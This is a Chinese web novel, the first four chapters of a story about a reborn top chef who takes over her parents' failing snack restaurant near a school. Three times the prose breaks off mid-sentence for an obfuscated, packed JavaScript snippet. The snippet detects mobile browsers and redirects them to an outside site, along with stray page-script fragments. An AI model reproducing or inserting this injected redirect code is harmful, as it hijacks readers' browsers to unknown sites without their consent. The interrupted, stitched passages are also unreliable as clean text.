《继承破烂小餐馆[美食]》 1. 001 “苏婉，苏婉你醒醒呀。” 清脆的女声在苏婉耳边逐渐清晰，苏婉直起身，人还有些发懵。 睁眼看到的一切既熟悉又陌生，这里是...她的大学宿舍？ 看着自己熟悉的书桌，苏婉晃了好一会神。 方才那道声音又从苏婉的身后传来。 “不好意思吵醒你了苏婉，你东西挡着了我和严妍两个人东西还没收拾完，有点挡着了。” 苏婉站起身，看向身后的过道，确实是自己的行李箱和行李袋挡着了。 “苏婉，不好意思啊，我东西太多了可能没办法和你拼车了。” 一个女生的头自门口探了出来。 “你只能自己回家啦，实在不好意思。” 苏婉看着她，还没缓过劲，只道“好，没事。” 苏婉在位置上愣了好久。 不对！今天是大学的最后一天！ ... 来到这里前，苏婉还是顶级国宴大厨，刚开了一家自己的私厨餐厅。 竟然一觉回到了自己大学毕业这天。 苏婉的思绪回笼，先不想了，麻利地收拾好东西之后用手机开始打网约车。 ——回家！ 江市是近几年刚发展起来的一线城市，竞争力比起老牌的一线城市来说没有那么高。 苏婉的父母也在江市生活，开了个小餐馆。 苏婉成绩不算好，高考只录取了个三流院校，学费要一年四万块。 苏父苏母为了凑学费，才搬到江市开餐馆。 苏父在县城找了个饭店师傅学厨，师傅不算很厉害，加上苏父没什么天赋，做出来的东西也就堪堪家常的程度。 苏婉在15岁的时候展现了自己的厨艺天赋，苏文带苏婉去过一次自己的饭馆之后就被师傅看上了。 15岁的小孩觉得厨师这个职业不好，自然不当回事，苏父也觉得这个年纪应该以学业为重，后面这件事就不了了之。 车已经到达目的地，苏婉思绪回笼，下了车取行李。 苏婉的大学离餐馆不算远，五公里的路车程也就二十多分钟。 苏父苏母虽说是为了苏婉才搬到这，但也抢占了先机，在租金全面涨高之前签下了市二中小吃街五年的租赁合同。 店铺很小，仅摆得下七八桌的四人位，胜在干净，夫妻二人也舍得开空调。 二中附近也有不少的写字楼，也是运气好，能在涨租前租下这么好的位置。 “爸，妈，我回来啦！”苏婉扯着嗓子喊。 苏婉心中有些紧张，对于她来说，已经快20年没有见过父母了。 夫妻两正在后厨忙碌，现在是下午三点左右的时间，刚过饭点，两人正做着清洁工作。 一中年妇人从后厨走了出来，见是苏婉，手在围裙上擦了两下，把水渍擦去：“女儿，你回来了。”脚下步子未停，靠近苏婉，接过手里的大包小包，嘴上也不停：“怎么自己回来了也没让爸爸妈妈去接你呢？累不累吃饭没有，要不要我让你爸给你炒点菜吃？” 苏婉把东西交给母亲，忍下心中泛起的涟漪，嘴上说着：“我去后厨跟爸说，确实饿了。” 林慧不疑有他，把行李暂时先放在了收银台内，而后拿着扫帚拖把还有一桶洗洁精水接着清理店铺卫生。 苏婉走到后厨，基本上已经打扫地差不多了，桌上是中午备菜剩下来的食材，苏婉决定先露一手。 旁边还放着一些虾，苏婉考虑好要做什么之后，探头对正在搞卫生的母亲问道：“你们中午吃了吗？” 林慧动作没停：“没有呀，你在后厨没看到你爸吗？他估计去隔壁王家买凉菜了，一会就回来做。” 苏婉得到肯定的回复之后，就开始围上围裙，动作麻利地把豆腐改刀切成整整齐齐的小块，随后将虾去头、剥壳取虾仁，将虾仁开背且取出虾线。 开火热油，下入豆腐，店里的猛火灶给力，不一会豆腐煎的两面金黄，苏婉将煎好的豆腐放到砂锅里。 锅中留着底油，放入虾头煸出虾油，苏婉忽的觉着有些单调，在后厨环视一圈，有些惊喜地看向放在最边边的两颗咸鸭蛋，取出咸蛋黄碾的极碎，将虾头捞出后倒入虾油之中继续翻炒。 后厨的香味飘出，狭小的饭店没多会就溢满了香气，刚和隔壁老王聊完。 暑假就要到了，这些中小学生放假就意味着店里的稳定客源几乎少一大半，店里本来就没什么竞争力，真是让人头大，聊了半天也没个所以然，干脆不想了，回去吃饭要紧。 谁知刚走到店门口，就闻到一股浓烈的香气。 看着在忙碌的妻子，苏文第一个就排除掉是林慧的可能性，旋即问道：“厨房里是谁？怎的这么香？” 林慧累的满头是汗听到丈夫说话直起身来，她前面根本没注意到。 店里没客人的时候舍不得开空调，大夏天的打扫卫生本就累人，周遭都是汗味，也是现在闻才闻到满屋的香味。 林慧盯着丈夫，又看看后厨：“哎...不是你在做...” 没等妻子说完，苏文把凉拌菜随意扔在其中一张桌子上面，走到后厨，只见苏婉在灶台前正翻炒着，比起林慧，苏婉也没好到哪去，脸热的红扑扑鼻尖上都是小汗珠。 “女儿...是你在做菜？” 苏文声音有些控制不住地颤。 苏婉忙，只是一个抬眼看了一眼父亲，就专注着看着自己的炉灶：“爸你回来了，收拾碗筷出去吧，过一会就可以吃饭了。” 咸蛋黄被苏婉炒到冒着泡，和虾油的香味碰撞之后的复合香更浓烈了些。 苏婉另起了一灶，把豌豆焯了几分钟的水煮熟捞出，稍微冲洗之后，把刚刚挑出的虾头和洗干净的虾皮放进去，倒入滚烫的热水，盖上盖煲着。 苏婉把虾仁放进刚开始的锅里翻炒，而后加入调味。 待水煲了有十五分钟左右，苏婉开盖，简易版的高汤就做好。 把咸蛋黄虾仁倒入刚刚盛着豆腐的砂锅中，再次开火，砂锅发烫之后倒入高汤，水进入砂锅内发出嘶啦嘶啦的声音，接下来，只需要大火收汁后加入豌豆就可以出锅了。 苏父在前厅坐着愣神，自己的女儿什么时候厨艺这么好了？他都不需要尝，光是闻着味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407129|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他就知道，比他的厨艺水准不知道要高上多少倍。 林慧看着丈夫那样子，她虽然也惊讶苏婉的成长，但苏文的反应她不禁觉着好笑：“怎么了，女儿一回来就做饭给你吓着了？” 苏文转头看向妻子：“不是...小婉她怎么会...” 这么厉害。 话还没说完，苏婉拿着砂锅出来了，由于烫，苏婉握着的地方用了两条湿毛巾垫着，见女儿来，林慧眼疾手快垫了一张隔热垫放在桌上，苏婉把砂锅放上去，小心翼翼揭开锅盖。 一瞬间，香气四溢。 香味像是有实体一般莽撞地冲进夫妻二人的鼻腔，本就累了一早上，两人的胃一闻到这蓬勃的香气勾的叫嚣起饥饿来。 没再有多的寒暄，三人一起坐下，林慧勺子一搅捞着虾仁豌豆混着汤汁就盖在饭上，汤汁鲜亮，咸蛋黄附着在虾上，有着更奇妙的味道，又鲜又香！林慧吃的头也不抬，根本不和父女俩多说话，只顾着扒饭，苏文见妻子这样，也忙捞上一大勺子进碗，动作和自己的妻子如出一辙。 没多久，这一大锅子的豆腐煲就吃了个精光，竟是没一点剩下。 苏婉看着父母的样子，心里更多的是珍惜，这辈子，她要用自己上辈子学到的东西好好报答父母！ - “嚯，店里这么香，老板，吃什么好吃的呢？给我也来一份。” 只见一个中年女人背着手走了进来，一副熟络的样子搭着话。 是隔壁开沙县的李牧他媳妇王然。 这人嘴巴平日里最挑剔，这条小吃街的店她基本都去过，对各家的味道如何、食材如何，哪家用的是预制菜料理包，哪家早上四五店就去市场里头买新鲜食材回来她如数家珍。 嘴巴挑，嘴巴还毒，觉得不好吃当场就在人家店头说，惹得喜欢她的喜欢的要命，不喜欢她的视她为眼中钉。 王然觉得奇怪，她也不是没吃过苏厨小炒的饭菜，没这么香啊？ 今天这香味直接飘到她店里头，这一家人吃饭也就算了，嘴里还不停念叨着好吃，下午三四点的时间本就等着下面那顿，惹得王然直接冲到店里来想探个究竟。 林慧正收拾着桌，见是王然来，歉意笑了笑：“不好意思啊，刚刚是自己家吃饭呢，一会我去买菜准备晚上的，你要是想吃晚点我做好给你送过去。” 王然想了想，朝林慧摆摆手：“没事，不用那么麻烦，我晚上直接到你们店里头来吃，好吃的话我喊上我那些朋友一起过来，你们家老苏可以啊，我闻着那味道香的不得了哦，是不是出去进修了？” 王然不动声色地打探着。 林慧也打着马虎眼：“哎哟哪有哪个时间，你可能是中午没吃饱下午饿得慌，所以闻着就觉得格外香。” 王然见林慧嘴巴严，也没再接着问，打过招呼后就回了自己家店铺。 下午采买食材的是苏文，除了自己晚上要用到的之外，他还去买了些黄瓜，鱼皮这些适合做凉拌菜的东西，苏文买回来的凉拌菜，苏婉吃了一口就没再动筷子，倒也不是难吃，就是正常口味，苏婉吃惯了好东西，这凉拌菜入不了她的口。 2. 002 让苏父去买一些食材回来自己做一些，刚好夏天到，没有胃口吃些凉拌菜倒也更开胃些。 林慧不在店里，把苏婉的东西带回家去了，苏婉守着店。 一位学生模样的女生推着两个行李箱走了进来：“小老板，要一份小炒黄牛肉，打包哦。”说完这句话，把两个行李箱推到一餐桌最里面之后自己坐下。 苏婉看看后厨，食材倒是还有，就是前厅没人看店了。 女生见苏婉这样，也猜到了，一挥手道：“你去吧，我帮你看着前面，你在后厨也能看到我，放心吧我手脚干净的！” 苏婉听着只觉得女生有意思，有些不好意思道：“那就谢谢你啦。”说罢到了后厨开始做小炒黄牛肉。 吴欣妍在前厅坐着，店里是苏婉看到吴欣妍来了之后才开的空调，店里的二手空调制冷慢，吴欣妍在这坐了好一会都还没凉快。 吴欣妍刚从国外回来，去了两个月什么都还行就是苦了她这张嘴啊。 这不，刚落地到家附近，就迫不及待想要点份小炒黄牛肉好好奖励一下自己的胃，这家苏厨小炒她之前就吃过，因为开在家附近的原因，刚开业那天她就来吃过，家常味道唯独这个小炒黄牛肉做的还不错，想着东西干净她基本上没几天就会吃一次。 本来看到厨师不在都打算走了，但是看苏婉自信满满的样子吴欣妍又坐了下来，小炒黄牛肉应该没办法做难吃吧？ 吴欣妍这样想没多久苏文就回来了，满头大汗一进来感觉到凉快还有些疑问，一看发现了吴欣妍，这个姑娘他知道，常来吃小炒黄牛肉的，苏文热络道：“小吴，回来了，是要吃小炒黄牛肉吗，叔去给你炒。” 吴欣妍见苏文回来，朝他打了个招呼：“没事不用了，您女儿在里面炒。” 刚好话落，苏婉把已经打包好的小炒黄牛肉拿了出来，他们家是默认送米饭的：“给，你的小炒黄牛肉，为了感谢你帮我看店，我多炒了点，加量不加价！” 吴欣妍听完也是有些开心：“那谢谢你啦，我走啦叔。” - 苏婉见苏父把做凉拌菜的食材都单独放好，拿着东西又进了厨房，处理完洗干净食材之后，放入醋、小米辣、蒜末、香菜.....这些调味，随后泼上热油，拌好放进冰箱，拿了一部分出来自己回家吃。 下午五点左右，开始准备做菜，夫妻两这段时间才刚上的外卖平台，自己不会整还是隔壁交情好的老王替他们整的外卖这些东西。 订单虽然不算多，倒是也有零碎的几单。 下午六点，王然果然来了，看着挂着的菜单点了个新上的酸辣鸡杂，人不多菜上的算是挺快的，等林慧把菜端上来，王然迫不及待的就往嘴里送。 吃了两口就咂咂嘴，这不也还是这样吗，挺家常的感觉没什么特别的，索然无味的一顿饭，餐馆里就两桌顾客，王然左看右看，看到收银台有一碗凉拌菜。 “哎哎哎，慧啊。” 林慧走了过来：“什么事啊然姐？菜不合你胃口吗？” 王然摆摆手：“不还是那个味道，有什么不合胃口的，你收银台那凉拌菜，老王家买的？给我整点呗。” 林慧转头看过去：“啊不是，那是我女儿今天下午整的，我给你分一小碗吧。” 王然听是林慧女儿做的，一瞬间没了想吃的想法，爹做菜水平就在这了，难不成小孩做的还能超过隔壁老王家？老王家的凉拌菜可是做的不错的。 但既然都已经开口说了，王然自然也不会让林慧倒回去，她是说话直但也不是缺心眼。 林慧拿了个饭碗，套了个一次性袋子才往里放凉拌菜，女儿弄得这个凉拌菜她自己还没吃，先分出去，林慧有些心疼，但也实实在在给王然装了满满一碗。 拿着给王然之后，林慧就忙着自己的事情。 王然看着凉拌菜，没想到林慧给了这么多，想来是不好吃太多了自己吃不完，看着卖相倒是不错。 颜色鲜亮诱人，王然夹起一根黄瓜，嚯！麻辣鲜脆，酸辣可口，相当有水准的调味，还是冰过的，夏日的那点燥吃下这凉拌菜，一下就挥散了大半，这凉拌菜，怎的这么香！ 王然精神一振，配着这酸爽可口的凉拌菜开始吃饭，碗里的凉拌菜迅速见底，王然开始一根黄瓜扒着两口饭了，这凉拌菜刚刚看着还挺多的，怎么吃一下就没了这么多？ 店里等餐的骑手看王然这般模样，小心地碰了一下王然的胳膊：“这家的饭菜很好吃吗？我看挺干净的但是我没吃过。” 王然猛猛点头，把饭扒完才抬头，擦掉嘴边的油渍：“这凉拌菜特别好吃。” 转而对着林慧问：“慧啊，你再过来一下。” 林慧过来之后一头雾水，怎的有两三个骑手围在林慧旁边呢？ 王然有些不好意思：“你女儿太厉害了，这凉拌菜能卖给我吗，我全要了太好吃了，真是你女儿做出来的？” 林慧看着凉拌菜摇摇头拒绝：“没多少了，这个本来就是女儿瞎做的，不卖的。” 王然太馋了，眼巴巴地看着那一盒的凉拌菜：“你明天喊你女儿多做些，你女儿这水平，卖凉拌菜哪还有隔壁老王的生意做哦，按我儿子的话来说，直接给老王秒掉了。” 王然虽然说的是真话，但话中也有探听的意思，今天自己说苏家的凉拌菜好吃，要是他们家真打算做凉拌菜，怕是邻里关系要闹僵哦。 林慧摆摆手：“不卖的，我们做小炒做的挺好的，本来就是孩子瞎整的东西，哎哟别开玩笑了，你要凉拌菜我再给你装一碗的嘛反正还有多，邻里邻居的。” 王然听着话喜笑颜开：“那感情好呀，谢谢你哟慧儿。” 隔壁那俩骑手也眼巴巴，但是不太好意思开口。 王然看出他俩的意思，本身就是一个热情的人，不由分说扫了桌上的收款码转了二十块钱过去：“慧啊，我钱给你转过去，你给我后面这俩小兄弟装一点凉拌菜嘞。” 林慧拿着新的一次性袋子出来，见收款的电子音已经响起来了，也没再说，不然显得就有些虚伪了，只得多装了些，放在袋子里之后还都用了盒子装起来，分别给了这三个人。 - 吴欣妍拿着自己的东西回到家里。 舟车劳顿她累极了，还没来得及吃收拾完东西洗完澡躺在沙发上就昏睡了过去。 晚上八点半，下班的吴父吴母才把女儿喊了起来。 吴欣妍睡得迷迷瞪瞪，只听见妈妈问：“你下午到了之后有没有吃饭？要不要妈妈给你下碗面吃一下你好吃了睡觉？” 吴欣妍这才精神起来，她的小炒黄牛肉还没吃呢！ 赶忙拿起桌上的外卖打开，果然有些凉了，吴欣妍把外卖盒给了妈妈，笑眯眯有些狗腿的对着妈妈说：“最美丽的妈咪，麻烦帮我热一下这个菜，我下午回来之后忘记吃了。” 陈一心看着自己的女儿那谄媚样笑出声：“你哟。” 没过几分钟，复炒过后的黄牛肉换成自家的餐盘端到吴欣妍的面前。 “谢谢妈妈，我要开动咯！” 今天的小炒黄牛肉闻着怎么格外的香，酱色的牛肉片和鲜红的辣椒，再搭配上翠绿的香菜，肉色油亮，闪烁着诱人的光泽让人食指大动。 吴欣妍忙夹了一筷子进碗，饿了一个下午这才是第一餐，配着饭吃下，刚入口牛肉，嫩滑！随即而来的是浓郁的酱香和咸鲜味，再然后是辣椒的辣和爽，吴欣妍吃愣住了，太好吃了！麻辣鲜香，鲜嫩可口！这比她以前吃过的小炒黄牛肉要好吃一百倍！ “妈！你往菜里加东西了？怎么这么好吃？”吴欣妍转过头问着。 陈一心在厨房洗着锅，大声回复：“没有啊，我就是锅热了之后下锅炒了两下什么都没加。” 那就是本身做的就很好吃，这小姑娘居然这么会做菜吗！ 吴欣妍没再继续纠结，埋头吃着饭，风卷云残般的速度吃着这顿格外香的小炒黄牛肉。 她的胃在大声喊着，舒坦！！！！ 陈一心走了出来，老公正在浴室洗澡，她想起女儿刚刚问的话，看向正在扒饭吃的女儿问：“你点的哪家的饭，很好吃吗？” 吴欣妍把碗放下：“就是之前一直吃的那家苏厨小炒，他女儿做的可好吃了，你吃一口。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407130|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>吴欣妍说着，把盘子端起来喂向陈一心，陈一心吃了一口，眼睛瞪大了些，有些惊喜道：“是很好吃啊，像大厨做出来的菜，我记得苏厨小炒的菜不是做的一般般吗，他们家换厨子了？” 吴欣妍点头：“是啊，我过去的时候老板不在，是他女儿炒的。” 陈一心点头：“很好吃，我都有点想再吃晚饭了，你怎么一回来就打破我的减肥计划。” 吴欣妍给妈妈分了点饭，听到这话嘟着嘴：“哪有嘛，明明是你自己也馋。” 心里倒是乐开了花，以后苏厨小炒可以多点了，这手艺，真是吃完了还想再接着吃！ - 苏文和林慧两人关门回到家，女儿估计已经早早睡下没了声响。 夫妻俩在隔壁房间对着账，今天一共卖了25份饭，他们家均价是28一份，今天的营业额是700块钱，刨除成本和店面开支，今天挣了189块钱。 按这么下去，暑假的时候人流量就要更少，这店铺房租一个月就要差不多四千块钱。 这该如何是好？ 租期五年，苏婉毕了业，那就意味着合同的租期只剩下最后一年了，隔壁老王家和老李家他都打听过了，现在的房租基本上都已经涨到8000-10000块钱了，到那个时候，这餐馆就没什么赚头了。 外卖平台上的反响也一般般，本身利润就不算非常高，要是还参加平台活动参加什么满减好评返利，那就相当于一单只赚几块钱，对于他们的生意而言根本没有任何的好处。 苏文对着媳妇苦笑：“实在不行，就只能转租这铺面给别人，拿着钱重新回县里开店了，就是不知道婉儿愿不愿意...” 夫妻两不说话，两个人坐在床上沉默了很久。 林慧抬起头，像是下了很大决心，叹口气说道：“我们再坚持两个月，要实在不行就趁早转租，这铺子位置好不愁租不出去。” 见丈夫没说话只垂着头。 林慧握住丈夫的手：“你这般想，转租之后还能有点钱给小婉在江市找到工作之前用，也算是有价值，我们两夫妻在一起，在哪做不是做？” 苏文听了这话抬起头来，眼睛里泛着泪光，反握住妻子的手，重重的点了头。 ... 房子隔音并不好，苏婉在隔壁房间将他俩的规划听的清清楚楚。 心里泛着酸，上辈子她竟然这么不在乎，明明父母都是在为她考虑。 想想上辈子的这个时候... 苏婉刚刚大学毕业，学历不够好，学的设计也没学到家，竞争压力大，干脆在家瘫了几年。 在家的日子里，对父母的关心和慰问是越来越觉得厌烦。 直到苏婉25岁依旧没有任何社会经验，苏父一咬牙，将苏婉送回到县城和他的师傅学做菜。 苏婉一开始一百个不愿意，甚至对送她到县城的父母恨得入骨，后面像是突然开窍，开始非常用心的学厨，苏父苏母见她这样也安心了，就算孩子对他们不闻不问甚至恶语相向也没关系。 只要苏婉能有在社会立足的一技之长就可以。 苏父的师傅做菜水平有限，在离开县城之后，苏婉辗转了不同的城市学习厨艺，也靠着天赋，在42岁的时候成了国宴大厨，后面脱离自己本身待着的星级酒店，开了自己的私房餐厅。 这个时候，苏婉其实早已释怀，她心里知道父母是为了自己好。 只不过功成名就的人似乎总有包袱，低不下那颗高傲的头颅，直到44岁那年，她听到了父母的死讯。 她19年来第一次回了家，全村的人都戳她脊梁骨，她不在乎，她悔恨。 料理完父母的后事之后，她心里一直在想，不停的忏悔，或许是吵到了天上的人儿，这才给了她回到过去，一切重来的机会。 苏婉想到这里，脸上不知何时早已布满了泪，她擦去泪水，现在不是想这些的时候，既然重来一辈子，那就用自己的能力反哺。 首先，就是要解决目前的难题。 苏婉很快想到解决办法，把电脑从包里拿出来，开始发挥自己的专业能力... 3. 003 第二天一早，苏文林慧起床，刚来到客厅，就看到女儿已经做好了的早餐。 皮蛋瘦肉粥、煎饺和三个煎蛋。 林慧有些惊讶，看着正在摆碗筷的女儿：“这都是你今天早起做的吗女儿？” 苏婉点点头：“快吃早餐吧爸妈，我一会跟你们说一件事。” 苏文和林慧有些摸不着头脑，稀里糊涂就坐下吃完了早饭。 苏婉见父母已经吃完，这才扔下一句重磅炸弹：“爸妈，我虽然毕业了，但是我不打算去上班，我想帮你们一起经营餐馆。” 苏文手里还没来得及放下的筷子掉在地上：“什么？” “不行，你不能留在餐馆。” 林慧看了一眼丈夫，转过头对明显有些失落的苏婉说：“你爸不是这个意思，他的意思是，你的专业很有发展前景，比在餐馆里帮忙有前途，没必要在店里帮我们。” 苏婉两手一摊：“我的专业水平不过关，很多大公司不会要我。” 林慧也有些急了：“小公司也可以啊，我们也不求你一毕业就赚很多钱。” 苏婉以一种不容拒绝的口吻说着：“我已经决定好了，你们要是不让我帮忙我也不会去上班的。” 苏文有些生气，刚准备站起身就被林慧拦下。 夫妻两对视一眼，苏文也意识到妻子想说什么，没再继续。 林慧开口对着苏婉，语重心长道：“你现在也已经大学毕业了，有这个想法那我也不把你当小孩了。”林慧顿了顿。 “我们店现在不怎么赚钱，其实...已经快开不下去了，再开一段时间我和你爸就打算回县城了。” 苏婉听到母亲的坦白，脸上绽开一抹笑，她就是希望父母能够告诉她现在餐馆的现状，而不是一味的拿她当小孩子瞒着她。 “爸妈，其实我昨天晚上听到你们的谈话了，不是还有一年吗？相信我们新新人类的新时代新方法，还有就是...”苏婉看了一眼苏父，自信笑着道：“还有我出挑的厨艺，都是核心竞争力，交给我你们就糟心吧...额不是放心吧！” “我呢，已经有一些想法了，我昨晚连夜设计了餐馆的小卡片，妈，你今天就不要在店里忙活了，可能要辛苦你跑一下附近的写字楼。” 苏婉说罢，把今天早上出门打印的小卡片拿了出来，线下打印真是太贵了，以后这种卡片还是要在网上打... 苏父苏母听到苏婉都已经这么说了，就算心里不信，也只能让女儿放手一试。 规划好这些事情之后，林慧到店铺附近的各个写字楼分发餐馆小卡片，苏文去采买食材，苏婉第一个到了店里，她让苏父买了菠萝、猪肉、红辣椒、牛腩、番茄、干辣椒、鸡这些食材。 苏婉是这么规划的，不再像苏父一样店里十几样菜的做。 而是一个时段只做几样菜品，这样备菜不需要过多还能够保证出品。 值得苏婉高兴的是，她昨天展现了自己在做菜上的天赋与实力，她就算是昨晚没有留下来做晚餐这一部分，今天她提出想法苏父苏母也没有反驳她不信任她的意思。 或许他们夫妻俩的想法就是，情况已经是这样了，再糟糕能糟到哪去？ 让女儿试一试说不定真的有转机呢？ 虽然嘴上说着要是干不下去了就回老家县城，刨去别的不说，亲戚们的流言蜚语就已经够夫妻俩吃一壶的了，更别说店铺开了四年，夫妻两早就有感情了，哪会真的舍得就这么离开呢.... 上午十点，苏父买齐所有食材回来，和苏婉在后厨备菜。 上午十一点，所有的菜品备菜完毕，林慧也回到了店里。 苏文林慧夫妻俩都是实诚的人，你交代1能够做到10，苏婉仅仅是让林慧在小炒这个商圈附近的写字楼分发小卡片。 而林慧则是将附近三公里内的写字楼基本上都分发了一遍，一开始进到人家写字楼的林慧还有些怯生生。 虽然自己年纪摆在这，但是对于没干过的事情还是有些犯怵，这么高级的地儿，会不会把她赶出来？ 但很多一楼的保安根本不会管太多，林慧很轻易就进到写字楼内部一层一层地分发小卡片。 有些会赶人，但在一楼电梯口林慧也放了不少小卡片在那。 至此也算是完成了女儿布置下来的任务，林慧心情有些忐忑，这能行吗？ 十二点左右，小卡片就开始发挥用处了，今早苏婉给了林慧一个新的联系方式，说是这个账号以后就专门用来和顾客沟通。 陆陆续续有三四十个人加了联系方式。 林慧问在后厨的苏婉：“囡囡，有很多人加了我们这个账号问有什么餐怎么说哦。” 苏婉探出头来：“妈，你写一条文字之后群发给她们，就说，今天是第一天暂时不会在这点餐，但是每一个客户在外卖平台上点餐之后备注写上水都可以免费得到一瓶矿泉水，大概这个意思妈你给他们发过去就可以。” 林慧朝苏婉点头，编辑好之后复制粘贴这个工作就显得简单很多，没一会，外卖点单的提示音就在店里响起。 二中附近的某写字楼。 莫绘像往常一样不知道要吃些什么，附近的外卖她都已经吃遍了，不管是好吃的还是不好吃的，都已经吃腻歪了。 刚准备出门觅食，就看到公司门口外卖区放着的小卡片。 苏厨小炒？还没吃过呢，扫码加上再说。 林慧群发的消息自然也发到了莫绘的手机上，莫绘依着林慧所说的点开了某团外卖，苏厨小炒并不在首页，而是需要靠着搜索才能够看到。 店铺里的菜品不多，莫绘点了番茄炖牛腩和菠萝咕噜肉的双拼，依着林慧说的，在付款页面的备注那栏备注了水。 价格不便宜，双拼的价格要36块钱，还没有任何的优惠券和满减。 莫绘只能赌一把，当是开盲盒。 要是东西好这个价格能说是实惠，要是花这钱吃到的是预制菜这些，那点完这次她将永久避雷。 “哎，莫绘你要不要跟我们一起拼？我们今天吃披萨怎么样？你点饭了吗？” 坐旁边的冼语问莫绘，她俩时不时的会一起点饭吃，比如披萨这类一个人吃不完的东西，也算是半个饭搭子。 莫绘摇摇头：“不用啦我已经点饭了。” 冼语点头，手指在手机上快速移动，随口问道：“你点了什么吃的啊？哪家店？” 莫绘把自己拿到的小卡片给冼语看：“就门口的那个小卡片那家苏厨小炒，我也不知道好不好吃。” 冼语点点头：“现在商家还挺拼的，都把广告一层层放过来了，那你先吃，要是好吃的话我也点。” 莫绘回复着好，但其实她对这个小餐馆的出品也没有很放心。 外卖出餐的速度不算慢，半个小时就到了莫绘手里，配送时间也就五分钟不到。 莫绘拿过外卖，送来的矿泉水不是小牌子，是便利店随处可见的牌子，拿到手上还瓶子还沁着水，很明显是冰镇过的。 到工位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407131|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，莫绘打开餐盒，餐盒不算是很精致那种，是材质好一些的普通餐盒。 菠萝咕噜肉的颜色好漂亮，金红色的酱汁晶莹剔透，颜色搭配红的、黄的、绿的极为赏心悦目，酸溜的味道让人食欲大开。 莫绘夹了一块肉，咬下一口只听到咔嚓一声，酥脆的外壳被咬破的声音，随即来的就是酸甜鲜香，和淡淡的菠萝果香，简直太好吃了！ 莫绘赶忙试试一旁的番茄炖牛腩，各个牛腩都有大拇指的大小，即使是双拼份量也不少，足足有十来块牛腩肉，番茄炖化成了汁水，包裹着肥厚的牛腩肉。 刚入口先尝到的就是番茄浓郁的酸香，紧接着就是牛腩的口感，炖的软烂无比，入口即化，特别是带着筋的地方，软糯Q弹，胶质丰富。 牛腩醇厚的油脂香在嘴里化开，充斥着整个口腔，回味无穷。 莫绘一筷子夹咕噜肉，另一筷子夹牛腩，根本停不下来。 周围已经在吃饭的同事不禁被味道吸引：“莫绘，你吃的哪家的饭啊，好吃吗？” 问出这个问题的同事明显就是明知故问，见莫绘吃的这般香她都已经吞口水了，莫绘有些不好意思：“你要不，尝两块？” 陈西一就等着这句话，迫不及待地夹了一块咕噜肉和一块牛腩肉，见陈西一夹了去，周围有同事也想吃，包括刚刚让莫绘和她一起点披萨的冼语。 莫绘不好意思拒绝大家，只好说着：“你们想吃都夹一些吧，我跟你们分着吃。” 听到这句话，大家都上前来，每个人都夹了点走，同时也把自己餐盒里的菜分享给莫绘。 “我给你吃个红烧鱼块。” “番茄炒蛋来点不，下饭还挺香的。” “我给你一个炸鸡腿跟你换，谢谢莫绘。” “我吃面没法跟你换吃的了，我给你一包薯片吧。” ... 待莫绘分完，自己点的餐不剩太多，倒是多了很多别家餐馆的菜在自己的餐盒里。 莫绘叹口气，这些店她都吃过，根本比不上自己这家，罢了罢了，他们吃过之后想来会自己点，明天怎么说都不分享了！！！ - 不止莫绘这一家公司发生这种情况，还有同样的一幕在不同的公司上演着，即便这次林慧并没有跟大家说在店铺好评会送东西，作为今天的第一批顾客，大家都自发的在外卖平台上发好评。 【这是我吃过最好吃的辣子鸡丁！！！太好吃了不接受反驳，这个辣子鸡炸的脆脆的里面有很嫩，辣的也够劲，厨师是川蜀人民吗，怎么这么会做辣！】【图片】 【第一次吃，就像是一辈子都站着，那一刻坐下了。】【图片】① 【吃了饭瞬间感觉#舒坦#头不晕了#眼不花了#胸口无不适#乐观积极#热爱生活#食欲大增#精神振奋#暖心#充满希望#不在克制#积极向上#不阴暗爬行#延年益寿】【图片】② 林慧看了这一条认真在底下回复顾客说： 【哎哟小朋友，我们家的菜没有这个功效，有问题要看医生喔，吃炒菜不行的嘞。】 评论完给苏婉看了之后苏婉笑得不行，林慧一脸担心问：“这个顾客不会趁机讹我们店吧。” 苏婉摆手，笑的有些直不起腰：“人家在跟你开玩笑呢，说做的好吃，吃了之后感觉啥病都没有了，是年轻人的一种...”苏婉思考了一下接着说：“说话艺术。” 听到苏婉这么说林慧放心了，眉眼中也带着些无奈的笑：“这些孩子，我都看不懂嘞。” 4. 004 小卡片果然很有用，林慧算了一下，备注上有要水的有40单，今天中午的流水就已经超过昨天一天的了。 林慧简直不敢相信自己的眼睛。 中午外卖送出去之后，开始不断地有新的好友添加提示。 林慧翻看自己的列表，已经加了有六十多个人。 这之后不断扩充朋友圈好友，可以自己雇佣骑手，要是公司订餐的话，比平台上要更便捷实惠。 但苏婉告诉林慧这只是她的初步想法，毕竟现在人还比较少。 